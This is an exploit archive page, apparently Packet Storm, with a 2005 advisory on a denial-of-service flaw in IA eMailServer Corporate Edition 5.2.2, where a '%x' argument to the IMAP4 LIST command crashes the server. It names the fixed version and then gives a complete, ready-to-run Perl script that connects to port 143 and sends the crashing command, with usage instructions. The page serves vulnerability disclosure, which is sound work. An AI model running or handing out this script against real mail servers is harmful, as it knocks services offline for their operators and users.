exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IAeMailServer_DOS.pl.txt

IAeMailServer_DOS.pl.txt
Posted Jun 29, 2005
Authored by Reed Arvin | Site reedarvin.thearvins.com

A denial of service vulnerability exists in the True North Software IA eMailServer Corporate Edition version 5.2.2. Build: 1051. Input to the IMAP4 LIST command is not properly checked. Perl exploit provided.

tags | exploit, denial of service, perl
SHA-256 | c6a4487d3cf352e0cc68caba9961d47584d5dfcbf146b2cf528b97fd38c0685f

IAeMailServer_DOS.pl.txt

Change Mirror Download
Summary:
Denial of Service Vulnerability in True North Software, Inc. IA
eMailServer Corporate Edition Version: 5.2.2. Build: 1051.
(http://www.tnsoft.com/)

Details:
Input to the IMAP4 LIST command is not properly checked and/or
filtered. Issuing a single character '%x' as the second argument to
the LIST command will cause the MailServer.exe process to die.

Vulnerable Versions:
True North Software, Inc. IA eMailServer Corporate Edition Version:
5.2.2. Build: 1051.

Patches/Workarounds:
IA eMailServer Corporate Edition Version: 5.3.4. Build: 2019. is not
vulnerable to this attack. It is available at http://www.tnsoft.com/.

Exploit:
Run the following PERL script against the server. The process will die.

#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
# IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
#############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

sleep(1);

print $socket "0000 LOGIN hello moto\r\n";

sleep(1);

print $socket "0001 LIST 1 \%x\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close